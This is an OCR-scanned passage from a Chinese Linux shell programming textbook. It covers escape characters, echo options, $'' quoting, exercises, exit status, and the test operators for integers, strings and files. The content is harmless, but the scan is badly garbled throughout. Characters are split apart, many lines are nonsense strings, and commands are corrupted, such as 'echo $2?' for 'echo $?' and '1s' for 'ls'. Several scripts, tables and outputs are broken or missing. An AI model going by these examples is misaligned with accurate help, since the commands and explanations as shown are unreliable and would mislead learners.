慨 如 我 们 将 例 6-37 的 第 2 条 命令 写 入 一 个 脚本 文件 , 结果 是 否 与 命令 行 调用 它 完全 一 样 


呢 ? 新 建 名 为 echoes.sh 的 脚本 ， 内 容 如 下 : 











!/bin/bash 
eeneomy 


echoes .sh 脚本 : 测试 echo "\" 











echoes.sh 脚本 的 执行 结果 如 下 所 示 ， 可 以 看 到 脚本 执行 发 生 错 误 ， 错 误 提 示 第 2 行 发 现 
未 知 结束 符 〈(EOF)， 第 3 行 未 知 文件 末端 。 





# echoes . sh 脚本 的 执行 结果 


[root@jselab 
[xo0ot@Jjselab 


globus] 
globus] 


./echoes.sh: line 2: 





/echoes.sh: line 3: 


[Eeotoselabng lousl 


例 6-38 演示 了 将 转 义 








为 二 级 提示 符 下 输入 的 字 久 





上 机 提议 第 10 题 。 
# 例 6-38: 将 转 义 符 赋 给 变 





chmod ut+x echoes . sh 


./echoes .sh 








unexpected EOF while looking for matching ~"™' 


syntax error: 


符 赋 给 变量 ， 











A 
日 


量 - 
里 


[root@jselab globus]# variable=\ 


> National 


从 结果 可 以 看 


unexpected end of fil 











,仍然 是 出 现 二 级 提示 符 ， 变 量 的 值 
BE ， 读 者 可 以 上 机 测试 将 多 个 转 义 符 赋 给 变量 时 的 结果 ， 如 本 章 


全 





# 转 义 符 赋 给 variable 变量 


[root@jselab globus]# echo $variable 


National 


[root@jselab glopus]# 




















到 单个 转 义 符 时 ， 将 出 现 二 级 提示 符 ， 
将 出 错 。 因 此 ， 在 Shell 编程 

















义 符 带 来 的 错误 。 
































下 面 的 例 6-39 演示 一 个 较为 特别 的 变量 赋值 ， 新 建 一 个 名 











如 下 : 


# 保 
#!/bin/bash 





variable="()\\{}\$\"" 
echo $variapble 
echo “$variable" 


LES 
echo $variable 
echo "$variable" 

















6-39: weirdvars .sh 脚本 演示 怪异 的 变量 赋值 


# 将 一 串 符 


# 将 域 分 隔 


以 上 三 例 可 以 看 出 ， 转 义 符 可 以 将 其 本 身 转 义 ， 但 是 ， 当 Shell 命令 行 或 变量 赋值 遇 
继续 接收 Shell 输入 ， 而 当 脚 本 中 出 现 单个 转 义 符 时 ， 
Ph， 程序 员 需 要 了 解 脚本 中 每 个 转 义 符 的 作用 ， 避 免 由 单 












































个 转 








为 weirdvars.sh 的 脚本 ， 内 容 


号 赋 给 变量 


符 改 为 转 义 符 
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exit 0 

下 面 给 出 例 6-39 中 weirdvars.sh 脚本 的 执行 结果 。 
# 例 6-39 weirdvars .sh 脚本 的 执行 结果 

[root@jselab globus]# chmod ut+x weirdvars.sh 


root@jselab globus]# ./weirdvars.sh 


) \{}$" 









































[ 
( 
( 
Ce 
( 
[root@jselab globus]# 

weirdvars.sh 脚本 将 一 串 符号 赋 给 变量 variable， 其 中 包含 四 个 转 义 符 ， 第 1 个 转 义 符 将 
第 2 个 转 义 符 转 义 ， 第 3、4 个 转 义 符 分 别 将 $6 和 "符号 转 义 ， 得 出 结果 为 0\ 人 7$"， 此 时 echo 
"$variable" 和 echo $variable 没有 区 别 。 然 后 ,我 们 利用 环境 变量 将 Shell 域 分 隔 符 改 为 转 义 符 ， 
echo $variable 得 到 的 结果 变 为 : 0 他 $"，\ 符 号 变 为 了 空格 ， 这 是 因为 Shell 根据 域 分 隔 符 将 
$variable 解析 为 两 个 域 : (和 f$", 中 间 用 空格 分 隔 。 而 由 于 双 引 号 具有 防止 变量 分 割 的 作用 ， 
因此 ，echo "$variable" 的 输出 结果 仍 为 O\f$" 。 

转 义 符 除 了 屏蔽 特殊 字符 的 特殊 意义 之 外 ,在 echo、sed 和 awk 等 命令 中 ， 转 义 符 加 上 一 
些 字母 能 够 表达 特殊 的 含义 ， 如 m 表示 新 的 一 行 ， 表 6-6 归纳 了 转 义 符 表 示 特 殊 意 义 的 符号 。 

表 6-6 和 转 义 符 后 跟 字 母 所 表示 的 特殊 意义 










































































反 旧 








表示 Tab 键 


换行 但 光标 仍旧 停留 在 原来 的 位 置 








退 格 键 (Backspace) 





发 出 警报 声 


ASCII 码 0xx 所 对 应 的 字符 




















接着 我 们 举 一 些 例子 说 明 表 6-6 列 出 的 特殊 字符 的 用 法 ， 首 先 看 到 例 6-40， 新 建 名 为 
escape.sh 的 Shell 脚本 ， 内 容 如 下 : 


# 例 6-40: escape.sh 脚本 演示 echo -e 和 \ 符 号 
#!/bin/bash 











#echo 不 加 e 选项 ， 按 照 字面 含义 解释 \t 等 特殊 符号 
scCnoAENNNSNR 


# echo 加 上 e 选项 后 ， 按 照 表 6-5 解释 这 些 特殊 符号 
eene> en ev Nn 

echo -e "hello\v\v\f\fhello" 

echo -e "\a\a\a\a" 

ecm em 

下 面 给 出 例 6-40 中 escape.sh 脚本 的 执行 结果 : 
# 例 6-40 escape.sh 脚本 的 执行 结果 


[root@jselab globus]# chmod u+x escape.sh 
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[root@jselab globus]# 
\t\n\a\v 


hello 


hello 


m 


[root@jselab globus]# 


escape.sh 脚本 首先 通过 不 带 6。 选项 的 echo 命令 输 昌 
释 这 些 特殊 字符 ， 按 原样 输 























hello 


hellA 
root@jselab globus]# 











./escape.sh 


hello 


























root@jselad gloBbus]# ecno $'\t\thnellor 


You have new mail in /var/spool/mail/root 
root@jselab globus]# echo $'hello\b\101' 


















































一 些 特殊 字符 ， 从 结果 可 以 看 出 , 此 
Heavy 等 字符 。 然 后 escape.sh 脚本 通过 
带 e 选 项 的 echo 命令 输出 这 些 字符 ， 从 结果 可 以 看 出 ，Shell 将 这 些 字符 解释 为 特殊 的 含义 ， 
为 Tab 键 , \v 和 ff 解释 为 换行 , 但 是 光标 水 平 位 置 保持 不 变 , \a 表示 发 出 警报 声 ，\0xx 
被 解释 为 ASCII 码 0xx 所 对 应 的 字符 《〈042 是 双 引 号 的 ASCI 码 )。 
接着 看 例 6-41, 我 们 用 $" 符 号 将 特殊 字符 引起 来 , 然后 用 echo 命令 打印 ， 
将 这 些 字符 解释 为 特殊 的 含义 。 因 此 ， 如 果 


例 6-41: $'' 符 号 与 -e 选项 等 价 





























结果 显示 Shell 


网 用 了 S$" 符 号 点 就 无 须 再 使 用 -e 选项 了 。 


#$' ' 与 -e 选项 等 价 


$" 符 号 还 可 以 用 于 变量 赋值 ， 变 量 值 以 $" 中 符号 的 特殊 意义 进行 蕉 换 ， 例 6-42 演示 了 此 





Footoselas gloBus 
hellA 
rootenselal lous 
root@jselab globus 
rooteselal gloBus 
rootenselalb eloBmus 
ABC 
root@jselab globus 



































意义 , escape.sh 脚本 足以 角 
默认 是 输出 文本 后 自动 换行 ， 例 6-43 说 明了 使 月 


例 6-43: echo 命令 的 -n 选项 











echo [选项 ] [字符 串 ] 
echo 的 选项 有 两 个 : 




















root@jselab globus] 


The 60th National Day 
root@jselab globus] 














例 6-42: 将 特殊 字符 赋 给 变量 的 方法 
echo $'hnello\Bb\10l1, 


vardablel=$ "NO0u2 


echo $variablel 














#$' "用 于 变量 赋值 





variable2=$'\101\102\103' 


echo $variable2 





在 此 完整 地 介绍 一 下 echo 命令 的 用 法 ，echo 命令 在 Shell 编程 
是 在 显示 器 上 打印 一 段 文字 ， 起 说 明和 提示 作用 











，echo 命令 的 语法 如 下 : 








日-n 选项 前 后 的 区 别 。 








电极 为 常用 ，echo 的 功能 


-e 和 -n，-e 选项 表示 将 转 义 符 后 跟 字 符 形 成 的 特殊 字符 解释 成 特殊 
站 释 这 一 点 。2na 选项 表示 输出 文字 后 不 换行 , 如 果 不 带 -n 选项 ,echo 


eenon nner nalna nay # 使 用 -n 选项 ， 不 换行 


The 60th National Dayl[root@jselab globus]# echo "The 60th National Day" 


# 不 使 用 -n 选项， 换行 
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深入 探讨 了 Linux Shell 的 变量 和 引用 ， 从 变量 的 蔡 换 和 赋值 的 基本 操作 入 手 ， 讨 论 
Shell ~ 无 类 型 性 , 并 对 Linux Shell 环境 变量 和 位 置 参数 两 种 特殊 的 变量 作 了 详尽 分 
析 ， 然 后 ， 本 章 介绍 了 Linux Shell 中 四 种 引用 符号 ， 及 其 意义 、 用 法 ， 重 点 讨论 转 义 符 的 用 
法 及 其 一 些 特殊 的 用 法 。 由 于 变量 和 引用 无 处 不 在 ， 因 此 ， 本 章 是 Shell 编程 的 基础 章节 ， 
扎实 地 掌握 木 章 内 容 是 学 习 本 书后 续 章节 的 基础 。 
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引出 下 而 变量 名 是 否 有 效 ， 并 上 机 测试 


ERUTINBASKEL 
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_APPLE FIVE 
EFRUTT=BASKET 

5_APPLE 

APPLE 5 

2. 利用 位 置 参数 编写 名 为 test-arguments-num 的 脚本 ,测试 如 下 情况 的 参数 个 数 和 参数 值 : 
wa al le uw # 空 值 


test-arguments-num $variable $variable $variable 
test-arguments-num "$variable" "$variable" "$variable" 
test-arguments-num "$variable $variable $variable" 


3. 6.1.4 节 中 position 脚本 $0 的 结果 为 ./position， 选 择 正确 的 引用 方式 ， 改 写 position 脚 
本 ,使 得 执行 结果 中 $0 的 值 为 position。( 提 示 : Linux 系统 命令 basename path 能 够 从 路 径 中 

















4. 上 机 运行 6.1.3 节 中 的 father.sh 和 child.sh 脚本 ， 体 会 $$、$PPID 的 意义 ， 以 及 本 地 变 
量 和 环境 变量 的 区 别 。 
5. 执行 以 下 脚本 ， 验 证 反 引 号 的 作用 ， 及 $variable 和 "$variable" 的 


#!/bin/bash 
var lias so 




















[xl 
沽 


echo $variablel 
echo "$variablel" 


vee tas le WI Wo ey 
echo $variable2 
echo "$variable2" 


IES 
echo $variable2 





echo "$variable2" 
. 改变 PS1 和 PS2 的 值 ， 验 证 表 6-2 所 列 出 的 特殊 符号 ， 理 解 这 些 特殊 符号 的 意义 
7. 利用 .bash_profile 新 建 环境 变量 CATALINA _HOME=/usr/local/ jakarta-tomcat-5.0.28， 分 
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Fi=1 (n=1) 
F2=1 (n=1) 
和 


11. 编写 脚本 打印 包含 *、 

















方法 实现 。 


八 


于 10 坝 ,，Fibonacci 


从 第 3 个 数 开始 ， 该 数 是 前 面 两 个 数 之 和 。 即 


12. 将 例 6-33 命令 中 的 双 引 号 去 掉 ， 





13. 上 机 验证 将 多 个 转 义 符 赋 给 变 直 


variable=\ 必 等 。 


14. 上 机 验证 如 下 命令 的 输 


符 分 析 其 原因 : 
echo \w 
echo \\w 
echo ‘\w!’ 
eene ew 
echo "“\w" 
Scene 


echo ‘echo \w. 

EECHho EchoONNI 
SECHo SECHOUNNNI 
echo ‘echo \\\\w. 
echo ‘echo \\\\\\w. 


echo ‘echo \\\\\\\wi 


echo ‘echo "\w". 
Eee 











\、?、+、 文 、 





、 $ 等 符号 的 语句 ， 使 用 转 义 符 和 单 引 号 两 种 














在 工 Linux Shell 编程 bs 0 


出 结果 ， 并 结合 


运行 该 命令 ,观察 所 出 现 的 结果 ， 
量 时 , 变量 的 人 





ee ee 

















并 分 析 其 原因 。 


人 
直 , 如 : variable=\, variable=\, variable=\\， 





单 引 号 、 双 引号 、 反 引号 和 转 义 符 四 种 引用 
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关 。 本 和 草 炭 退 烛 状态 和 测试 入 手 ， 
判断 结构 ， 最 后 讲解 运算 符 和 数字 


7 











pe EE 


en 


es 








于. 
号 星 。 


0 











退 昌 





内 态 、 抽 清和 让 相亲 弛 扑 








然后 在 此 基础 上 重点 讨论 几 种 条 件 
其 中 的 判断 和 测试 是 Linux 
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在 Linux 系统 中 ， 每 当 命令 执行 完成 后 ， 系 统 都 会 返回 一 个 退出 状态 。 该 退出 状态 用 一 
整数 值 表示 ， 用 于 判断 命令 运行 正确 与 否 。 若 退出 状态 值 为 0， 表示 命令 运行 成 功 ， 而 退出 
状态 值 不 为 0 时 ， 则 表示 命令 运行 失败 。 最 后 一 次 执行 命令 的 退出 状态 值 被 保存 在 内 置 变量 
“$9” 中 ， 所 以 ， 可 以 通过 echo 语句 测试 命令 是 否 运行 成 功 。POSIX 规定 了 几 种 退出 状态 和 
退出 状态 的 含义 ， 如 表 7-1 所 示 。 


表 7-1 退出 状态 及 其 含义 


























































































































示 运 行 成 功 ， 程 序 执行 未 遇 到 任何 问题 








示 运 行 失败 ， 脚 本 命令 、 系 统 命令 错误 或 参数 传递 错误 
找到 了 该 命令 但 无 法 执行 

未 找到 要 运行 的 命令 

命令 被 系统 强行 结束 








































































































以 下 的 例 7-1 演示 了 退出 状态 命令 的 用 法 , “该 例 用 touch 命令 来 创建 一 个 文件 ， 然 后 通 
过 echo 命令 显示 该 命令 执行 后 的 退出 状态 ， 测 试 文件 是 否 创建 成 功 。 
例 7-1: 用 退出 状态 显示 文件 是 否 创建 成 功 
rocotocalhnost Chnaeterey hs 
exmaplel 
oooleocalnes ee eae Goumene eeyexanl # 创 建文 件 exit exam1 
root@localhost Chapter7 ls 
exit examl exmaplel # 使 用 1s 命令 查询 文件 exit_examl 创建 成 功 
root@localhost Chapter7 echo $2? 
0 # 退 出 状态 为 0， 表示 文件 创建 成 功 
rootoleealneseenate 
在 例 7-1 中 , ls 命令 用 于 显示 当前 目录 下 的 所 有 文件 ， 可 以 看 到 , 使 用 touch 命令 前 的 文 
件 exit_ examl 还 不 存在 ， 而 使 用 touch 命令 后 的 文件 exit_examl 创建 成 功 ， 然 后 通过 echo 






































命令 可 以 看 出 退出 状态 为 0， 表示 touch 命令 创建 文件 成 功 。 

当然 也 有 退出 状态 为 非 0 的 情况 ， 下 面 例 7-2 是 一 个 退出 状态 为 2 和 127 的 例子 。 要 特 
别 注意 ,虽然 有 些 命令 “失败 ”的 退出 状态 在 1 一 125 之 间 有 可 能 因为 Linux 的 版 本 不 同 而 有 
差异 ， 但 其 他 退出 状态 都 有 其 特定 的 含义 。 

网 7-2: 退出 状态 为 2 和 127 的 例子 

EUISSUINSSERCISSEEEY ls tt ，# 查 询 一 个 当前 目录 不 存在 的 目录 或 文件 
于 当前 目录 下 无 tt 这 个 文件 或 目录 ， 所 以 1s 无 法 访问 tt 
roctenlee ne emer echo $? 
及 # 退 出 状态 为 2， 说 明 要 查询 的 文件 或 目录 不 存在 
root@localhost Chapter7]# ddde # 输 入 一 个 shell 命令 中 不 存在 的 命令 
“bas adde eomananot feound 


root@localhost Chapter7 echo $? 
2 退出 状态 为 127， 说 明 未 找到 于 
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Eeeot@loecalhosthenaeter lt 

在 例 7-2 中 ， 首 先 使 用 1s 查询 一 个 当前 目录 不 存在 的 文件 或 目录 ,显示 的 退出 状态 为 2， 
表示 查询 不 到 文件 或 目录 ; 接着 输入 一 个 不 存在 的 命令 ， 显 示 的 退出 状态 为 127， 表 示 该 命 
令 未 找到 。 
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Linux 的 Shell 命令 中 存在 一 组 测试 命令 ， 该 组 命令 用 于 测试 某 种 条 件 或 某 几 种 条 件 是 和 否 
真实 存在 。 测 试 命令 是 判断 语句 和 循环 语句 中 条 件 测试 的 工具 ， 所 以 ， 该 命令 对 编写 Shell 
脚本 是 非常 重要 的 。 


7.2.1 测试 结构 


测试 命令 可 用 于 测试 表达 式 的 条 件 的 真 假 。 如 果 测 试 的 条 件 为 真 ， 则 返回 一 个 0 值 ; 如 
果 测 试 的 条 件 为 假 ， 将 返回 一 个 非 0 整数 值 。 这 一 点 和 C 语言 的 条 件 判 断 语 句 是 有 区 别 的 ， 
在 C 语言 中 ， 条 件 为 真 时 返回 的 是 一 个 非 0 正 整 数值 ， 条 件 为 假 时 返回 一 个 0 值 。 所 以 ， 若 
以 前 学 习 过 C 语言 ， 要 注意 其 区 别 ， 以 免 混淆 。 

测试 命令 有 两 种 方式 ， 一 种 是 使 用 test 命令 进行 测试 ， 该 命令 的 格式 为 : 


test expression 


其 中 条 件 expression 是 一 个 表达 式 ; 该 表达 式 可 由 数字 、 字 符 串 、 文 本 和 文件 属性 的 比 
较 ， 同 时 可 加 入 各 种 算术 、 字 符 串 = 文本 等 运算 符 。 由 于 在 Linux Shell 编程 中 test 命令 使 用 
很 多 ， 所 以 ， 为 了 提高 命令 的 可 读 性 ;可 以 使 用 另 一 种 命令 格式 : 


[ expression |] 


其 中 “[ ”是 启动 测试 的 命令 ， 但 要 求 在 expression 后 要 有 一 个 “]” 与 其 配对 。 使 用 该 
命令 时 要 特别 注意 “[” 后 和 “]” 前 的 空格 是 必 不 可 少 的 。 第 二 种 方式 经 常 与 让 、case、while 
语句 联 用 ， 作 为 流程 控制 语句 的 判断 条 件 。 


7.2.2 ”整数 比较 运算 符 


整数 比较 运算 符 是 算术 运算 中 很 简单 的 一 种 ， 用 于 两 个 值 的 比较 ， 测 试 其 比较 结果 是 否 
符合 给 定 的 条 件 。 例 如 ，a -eqb 用 于 整数 比较 运算 ， 等 于 〈-eq) 是 一 个 整数 比较 运算 符 ， 如 
果 满 足 a 等 于 b， 则 该 测试 的 结果 为 真 〈 测 试 条 件 用 0 表示 ) : 如 果 a 不 等 于 b， 则 测试 结果 
为 假 〈 测 斌 条件 用 非 0 表示) 。 

test 测试 数值 时 有 一 整套 的 整数 比较 运算 符 ， 其 格式 为 : 

teseenum um eo 
或 者 为 

Oa ve ee Mabie | 

其 中 ，numeric_operator 为 整数 比较 运算 符 ， 用 于 比较 数值 的 大 小 ， 但 这 些 整数 比较 运算 
符 不 可 用 于 字符 串 、 文 件 操作 ， 同 样 的 字符 串 比 较 运 算 符 和 文件 操作 符 也 不 可 用 于 其 他 的 操 
作 ， 如 果 误 用 ， 将 产生 不 必要 的 错误 ， 这 一 点 在 Linux Shell 编程 时 要 特别 注意 。 表 7-2 是 对 
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各 整数 比较 运算 符 的 一 个 概括 。 
表 7-2 整数 比较 运算 符 
整数 比较 运算 符 


numl -eq num2 I 果 numl 等 于 num2， 测 试 结果 为 0 








numl -ge num2 1 果 numl 大 于 或 等 于 num2， 测 试 结果 大 








numl -gt num2 I 果 numl 大 于 num2， 测 试 结 果 为 0 





numl -le num2 I 果 numl 小 于 或 等 于 num2， 测 试 结果 为 0 











numl -lt num2 0 果 numl 小 于 num2， 测 试 结果 为 0 














numl -ne num2 I 果 numl 不 等 于 num2， 测 试 结果 为 0 











下 面 的 例 7-3 是 一 个 整数 变量 与 一 个 整数 常量 比较 的 例子 ， 首 先 设置 了 变量 numl 值 为 
15， 然 后 将 变量 numl 使 用 运算 符 -eq 和 -le 分 别 与 15、20 进行 比较 ， 最 后 通过 echo 命令 返 
回 的 退出 状态 表示 其 测试 结 
例 7-3: 一 个 整数 变量 与 一 个 整数 常量 比较 的 例子 


feotQlecalhnost Chnaeterey numl=15 






























































root@localhost Chapter7 "$numl" -eq 15 测试 numl 是 否 等 于 15 
root@localhost Chapter7 echo $2? 

0 退出 状态 为 0， 表示 numl 等 于 15 
root@localhost Chapter7 "$numl" -eq 20 测试 numl 是 否 等 于 20 


[时] 


root@localhost Chapter7 echo $2? 
退出 状态 为 1， 表 示 numl 不 等 于 20 


root@localhost Chapter7 npr 测试 numl 是 否 小 于 15 





root@localhost Chapter7 echo $2? 
退出 状态 为 1， 表 示 numl 不 小 于 15 
hapter7 nin ee 5 测试 numl 是 否 大 于 15 
hapter7 echo $? 
退出 状态 为 1， 表 示 numl 不 大 于 15 
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reootQ@lJocalhost Chaptez 17 
上 面 的 例子 是 一 个 变量 与 常量 进行 比较 的 例子 ， 我 们 还 可 以 同时 对 两 个 整数 变量 进行 测 
试 ， 下 面 的 例 7-4 是 两 个 整数 变量 比较 的 例子 。 

例 7-4: 两 个 整数 变量 比较 的 例子 

































































ooealeocannes en enter mans # 设 置 第 一 个 变量 为 99 
root@localhost Chapter7]# second num=100 # 设 置 第 二 个 变量 为 100 
root@localhost Chapter7 ET 
root@localhost Chapter7 echo $? 


# 退 出 状态 为 1， 说 明 变 量 first num 值 不 大 于 变量 second num 值 
ooealocalnes en ena "$first num" -eq "$second num" 





feotQalocalhost Chnaeterey echo $? 
# 退 出 状态 为 1， 说 明 变 量 first num 值 不 等 于 变量 second num 值 
root@localhost Chapter7 WSI 











root@localhost Chapter7 echo $2? 
0 退出 状态 为 0， 说 明 变量 first _num 值 小 于 变量 seconqd num 值 


Eootealoecalnoste emaeteerr 
在 例 7-4 中 ， 首 先 设 置 了 两 个 变量 的 值 分 别 为 99 和 100， 然 后 通过 大 于 、 等 于 、 小 于 运 
算 符 分 别 比较 这 两 个 变量 的 值 的 大 小 。 
整数 比较 运算 符 不 适用 于 浮 点 型 数值 的 比较 , 这 一 点 和 C 语言 是 有 区 别 的 .下面 的 例 7-5 
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列 出 了 一 个 浮 点 型 数值 比较 的 例子 , 可 以 看 出 ,在 bash 编程 中 只 能 对 整数 使 用 整数 比较 运算 

















符 ， 若 想 对 浮 点 型 数值 进行 比较 ， 需 使 用 特定 的 函数 。 
# 例 7-5: 将 整数 运算 符 用 于 浮 点 数 运算 

















[root@localhost Chapter7]# 
-Beste nr ex 
[root@localhost Chapter7]# 


7.2.3 ”字符 串 运算 符 


le S22] 
ression expected 

















同 整数 比较 运算 符 一 样 ，Linux Shell 中 也 存在 一 组 字符 串 运 算 符 ， 该 组 运算 符 可 以 用 来 
































测试 字符 串 是 否 为 空 、 两 个 字符 串 是 否 相 等 或 者 是 否 不 相等 。 字 符 串 运算 符 经 常用 于 测试 用 
户 输入 是 否 为 空 或 比较 字符 串 变 量 。 一 共有 5 种 字符 串 运 算 符 ， 表 7-3 列 出 了 字符 串 运 算 符 

















的 各 种 测试 方式 和 描述 。 
表 7-3 字符 串 运 算 符 


字符 串 运算 符 




















string 


符 串 string 是 否 不 为 空 





-n string 


和 侍 串 string 是 否 





-Z String 


符 串 string 是 否 为 空 





Stringl = string2 


符 串 stringl 是 否 与 字符 串 string2 相同 








Stringl != string2 














符 串 stringl 是 否 与 字符 串 string2 不 相同 














对 于 第 一 种 方式 ， 只 是 用 string 进行 测试 时 要 特别 注意 该 方式 仅 有 一 种 格式 : 


Ceseyese my 
而 不 存在 用 “[ ”和 “ ]” 
引号 ， 即 使 变量 为 空 ， 同 检 











Tk 








也 要 使 用 双 引 号 。 








括 起 来 的 命令 格式 。 字 符 串 比较 时 建议 字符 串 变量 要 使 用 双 




















下 面 例 7-6 是 一 个 运用 字符 串 运 算 符 的 例子 ， 在 该 例子 中 设置 了 一 个 字符 串 strl 为 空 ， 
然后 分 别 用 三 种 命令 格式 测试 字符 串 strl 是 否 为 空 。 




















例 7-6: 字符 串 比 较 运算 的 例子 
reootelocalhnost Chnapteren 
rootelocalneost Cnaptee 
reootQlocaulest enapter 


reobtelocalnost Cenapteren 
reootGlocaulleest enaptere 


roobtelocalneost enapteren 
rootGlocauleest enaeptere 
0 

















root@localhnosthenaetean 


下 面 的 例 7-7 是 一 个 比较 两 























See 
test SET 
echo $2? 


退出 状态 为 1， 表示 该 字符 串 为 空 
test =n "$str1l" 
echo $2? 
退出 状态 为 1， 表示 该 字符 串 为 空 
test =z "$str1" 
echo $2? 


退出 状态 为 0， 表示 该 字符 串 为 空 
































字符 串 是 否 相等 的 一 个 例子 ,其 中 设置 两 个 字符 串 变 量 typel 





和 type2， 然 后 比较 两 个 变量 的 











是 否 相 等 或 是 否 不 相等 。 














# 例 7-7: 比较 两 字符 串 是 否 相等 
攻 5otelecalnosE Chnaptereyl 
Ceot@localhnostenaeterel 
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typel="vi" 
type2="vim" 
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root@localhost Chapter7]# [ "$typel" = "$type2" ]  # 测 试 变量 typel 是 否 等 于 变量 type2 
noouenoea no emp eho 

















# 退 出 状态 为 1， 说 明 变 量 typel 不 等 于 变量 type2 
ooeoloea no emer eo 
nooeenloea no ene eho 
0 # 退 出 状态 为 0， 表示 变量 typel 不 等 于 变量 type2 




















root@localhost Chapter7]# 


在 编写 程序 的 过 程 中 ， 要 注意 空格 问题 ， 下 面 的 例 7-8 是 多 了 一 个 空格 后 造成 测试 结果 












































不 相等 的 例子 。 
# 例 7-8: 空格 造成 测试 结果 不 相等 的 例子 
rooecolosalneos nar el # 赋 值 字符 串 变 量 str2 为 “hello ” 
EECSSINSSEEONSSEEE [| “EE = vislnar | # 测 试 变量 str2 是 否 与 “hello” 相 等 


# 退 出 状态 为 1， 说 明 变 量 str2 不 等 于 “hello” 
root@localhost Chapter7]# 


在 例 7-8 中 ， 在 给 变量 赋值 的 过 程 中 加 入 了 一 个 空格 ,通过 退出 状态 的 测试 显示 测试 结 
果 不 相 等 ， 所 以 ， 在 以 后 的 编程 中 要 注意 不 要 添加 不 必要 的 空格 。 在 Linux Shell 编程 中 是 严 
格 区 分 大 小 写 的 ， 下 面 的 例 7-9 就 说 明了 字符 串 “Hello” 不 等 于 字符 串 “hello”。 
例 7=9: 大 水 写 区 分 的 例子 


Efeootaleocalhnoste enaeterer 





[ 
[ 
[root@localhost Chapter7]# echo $? 
出 
[ 

































































局 








1 31 # 赋 值 字 符 串 变量 str3 为 “Hello” 
Eoceneeane en ee eo em # 测 试 变量 str3 是 否 与 “hello” 相 等 
root@localhost Chapter7]# echo $? 

# 退 出 状态 为 1， 说 明 变量 str2 不 等 于 “hel1lo” 

root Qlocalnostaenaptea) 
由 于 在 Linux Shell 中 ， 字 符 串 赋值 和 整数 赋值 没有 区 别 ， 所 以 ， 在 整数 比较 时 要 注意 不 
要 把 字符 串 比 较 运 算 符 当做 字符 串 使 用 。 下面 的 例 7-10 说 明了 使 用 的 运算 符 不 同 , 赋值 变量 
也 不 同 ， 这 是 Linux Shell 对 变量 的 弱化 造成 的 。 

例 7-10: 变量 弱化 造成 的 赋值 结果 的 不 同 





















































IE # 给 变量 赋值 ， 可 以 当 作 整 数 ， 也 可 当 作 字符 串 
rootoloealnost cnaoter, Wve = WH] # 测 试 变量 var1l 的 值 是 否 等 于 字符 串 7 





root@localhost Chapter7 echo $2? 











# 退 出 状态 为 1， 表示 变量 var1 的 值 不 等 于 字符 串 7 
rootoloealnos cenadter "$intl" -eq "7"” ]  # 测 试 变量 varl 的 值 是 否 等 于 整数 7 
root@localhost Chapter7 echo $2? 
0 # 退 出 状态 为 0， 表 示 变 量 var1 的 值 等 于 整数 7 






































root@localhost Chapter’ 


7.2.4 文件 操作 符 


同 其 他 的 编程 语言 一 样 ，Linux Shell 提供 了 大 量 的 文件 操作 符 ， 这 样 可 以 完成 测试 文人 
的 各 种 操作 。 其 格式 为 : 

te ene 
或 者 为 : 

eso ee 
其 中 ，file_operator 为 文件 操作 符 ，file 为 文件 名 、 目 录 名 或 文件 路 径 等 。 表 7-4 是 几 个 
比较 常用 的 文件 操作 符 。 
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表 7-4 文件 操作 符 


文件 运算 符 














测试 file 是 否 为 














测试 file 是 否 存 在 





测试 file 是 否 为 普 


通 文件 





测试 file 是 否 是 进 


程 可 读 文 件 





测试 file 的 长 度 是 


和 否 不 为 0 





测试 file 是 否 是 进 


程 可 写 文件 





测试 fle 是 否 是 进 


程 可 执行 文件 














下 面 的 例 7-11 是 一 个 判断 文件 是 目 
所 有 文件 ， 然 后 选取 了 


例 7-11: 判断 输入 的 文 
reootQloecaulost Cenaptere hs 














0 






































0 



























































测试 file 是 否 符 号 








化 链接 








录 还 是 文件 的 例子 , 该 例 中 


























sxeyexemb smale 
root@localhost Chaptery 
Ereoeeleesnnesaenae een echo $2? 
出 状态 为 1， 说明 file exam 不 是 目录 





HH 




















F 是 文件 还 是 目录 


Felexam 
Weele 





root@localhost Chapter7 
EGOEelGesnesacenasern echo $? 
# 测 试 结果 为 0， 说 明 file_ exam 是 文件 
roolocalneoseeneeeea 


下 面 再 举 一 个 判断 文件 是 否 存 在 的 例子 , 例 7-12 首先 使 用 ls 命令 列 出 了 当前 目录 下 的 所 
六 件 ， 然 后 选取 了 一 个 存在 的 文件 和 一 个 不 存在 的 文件 ， 分 别 进行 测试 。 


7-12: 测试 文件 是 否 存 在 
roobt localneoste enastee Ws 
sexemexambe emake 
reootaloeaulost napter 
Chapter7 echo $2 
状态 为 0， 表 示 文 件 file-exam 存在 
# 测 试 文 伯 


root@localhost 


rootOloecanost 
root@localhost 





[Eee 











FieMexam 
eke 


er7 [ -e file 
ET echo $? 





root@localhost 


出 状态 为 1， 表 示 文 从 
Chapter7 


在 以 后 的 Linux Shell 编程 过 程 中 会 用 到 很 多 这 样 的 例子 ， 如 创建 文件 后 测试 一 下 该 文件 
创建 成 功 ， 当 删除 一 个 文件 后 判断 该 文 伯 
里 不 一 一 列举 。 
下 面 的 例 7-13 是 一 个 测试 文件 权限 的 例子 。 这 个 例子 首先 列 出 了 当前 目录 下 的 所 有 文件 
以 及 权限 ， 然 后 用 文件 操作 符 中 的 权限 测试 符 分 别 测 试 文件 fle_exam2 是 否 可 读 、 可 写 、 可 

















中 的 一 个 判断 其 是 文件 还 是 目录 ， 判 断 结 果 

















Ph 首先 显示 了 当前 目录 下 的 











是 一 个 文件 。 








# 显 示 当 前 目录 下 的 所 有 文件 


Emal 











examal 























exomal 





JE | 














# 测 试 file_exam 是 否 是 文件 





# 测 试 人 





F file examl 是 否 存在 


F file_ examl 不 存在 








# 测 试 file_exam 是 否 是 目录 























F 是 否 删 除 成 本 























# 例 7-13: 用 于 测试 文件 权限 的 例子 
eeooteloeonlhost ehapeer lis Ll 


总 计 0 











执行 ， 通 过 测试 可 以 看 出 文件 file exam2 可 读 、 可 写 ， 但 不 能 执行 。 








EW ot oC 2 2 me eranl 


化 清 






































然 还 有 其 他 方面 的 应 用 ， 这 
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SY J ool aoaole 0 2=22 2t24 cnaalel 

Ew EE oo oo 0 2200000 feexan 

Ew Eo oo 0 2 2010080 Eeexanl 

Ew EE oo oo 0 L226.080 tle exan 
root@localhost Chapter7 -r file exam2 # 测 试 文件 是 否 可 读 
root@localhost Chapter7 echo $2? 

0 

root@localhost Chapter7 -w file exam2 # 测 试 文件 是 否 可 写 
root@localhost Chapter7 echo $2? 

0 

root@localhost Chapter7 -x file exam2 # 测 试 文件 是 否 执行 











root@localhost Chapter7 echo $2? 




















rootQ@localhost Chapter’ 


文件 操作 符 中 的 可 读 、 可 写 、 可 执行 的 权限 判断 经 常 和 chmod 命令 联 用 ， 该 命令 可 用 于 
